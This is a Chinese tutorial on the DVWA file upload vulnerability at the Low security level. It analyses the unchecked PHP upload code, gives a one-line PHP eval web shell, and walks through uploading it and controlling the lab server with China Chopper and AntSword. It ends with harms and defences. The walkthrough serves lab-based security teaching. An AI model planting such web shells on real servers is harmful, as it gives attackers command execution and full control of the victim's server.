DVWA下的文件上传(上)
字数 1157 2025-08-15 21:32:31
DVWA文件上传漏洞(Low级别)分析与利用
1. 文件上传漏洞概述
文件上传漏洞是由于对用户上传文件的类型、内容没有进行严格审查,使得攻击者可以通过上传含有执行脚本的木马文件操纵服务器。这种漏洞带来的危害通常是毁灭性的,因为它可能直接导致服务器被完全控制。
2. Low级别源代码分析
<?php
if( isset( $_POST[ 'Upload' ] ) ) {
// Where are we going to be writing to?
$target_path = DVWA_WEB_PAGE_TO_ROOT . "hackable/uploads/";
$target_path .= basename( $_FILES[ 'uploaded' ][ 'name' ] );
// Can we move the file to the upload folder?
if( !move_uploaded_file( $_FILES[ 'uploaded' ][ 'tmp_name' ], $target_path ) ) {
// No
echo '<pre>Your image was not uploaded.</pre>';
} else {
// Yes!
echo "<pre>{$target_path} succesfully uploaded!</pre>";
}
}
?>
关键函数解析
- basename()函数:返回路径中的文件名部分
- move_uploaded_file()函数:将上传的临时文件移动到指定位置
- 参数1:上传文件的临时名称
- 参数2:文件要移动到的目标位置
漏洞分析
- 没有任何文件类型检查
- 没有任何内容验证
- 直接使用用户提供的文件名
- 直接将文件保存到可执行目录
3. 漏洞利用步骤
3.1 准备一句话木马
创建一个PHP文件(如hh.php),内容为:
<?php @eval($_POST['hh']);?>
3.2 上传文件
- 通过DVWA的文件上传界面选择该文件并上传
- 上传成功后,系统会返回文件路径,如:
hackable/uploads/hh.php
3.3 验证上传
- 直接访问上传的文件路径:
http://127.0.0.1/hackable/uploads/hh.php - 页面应为空白(因为文件本身没有输出内容)
3.4 使用管理工具连接
使用中国菜刀(Chopper)
- 添加新记录:
- URL:
http://127.0.0.1/hackable/uploads/hh.php - 密码:
hh(与POST参数名一致)
- URL:
- 尝试连接:
- 文件管理
- 虚拟终端
- 数据库管理
注意:文中提到中国菜刀连接失败,可能是工具兼容性问题
使用蚁剑(AntSword)
- 添加数据:
- URL:
http://127.0.0.1/hackable/uploads/hh.php - 密码:
hh
- URL:
- 成功连接后可执行操作:
- 虚拟终端:执行系统命令
- 文件管理:浏览、修改、删除文件
- 数据操作:管理数据库
4. 漏洞危害
成功利用文件上传漏洞后,攻击者可以:
- 完全控制服务器文件系统
- 执行任意系统命令
- 访问和修改数据库
- 创建后门维持持久访问
- 删除或篡改网站内容
5. 防御措施
虽然Low级别没有实现任何防御,但通常防御文件上传漏洞的方法包括:
- 文件类型检查:
- 检查MIME类型
- 检查文件扩展名
- 内容验证:
- 检查文件内容是否符合预期类型
- 对图片进行重渲染
- 文件名处理:
- 重命名上传文件
- 防止目录遍历
- 存储安全:
- 将上传文件存储在非Web可访问目录
- 设置适当的文件权限
- 服务器配置:
- 禁用危险函数(如eval)
- 限制PHP在某些目录中的执行
6. 总结
DVWA的Low级别文件上传漏洞展示了最基本的未受保护的文件上传功能如何被利用。通过上传一个简单的PHP脚本,攻击者可以获得服务器的完全控制权。这个案例强调了在实现文件上传功能时实施严格安全措施的重要性。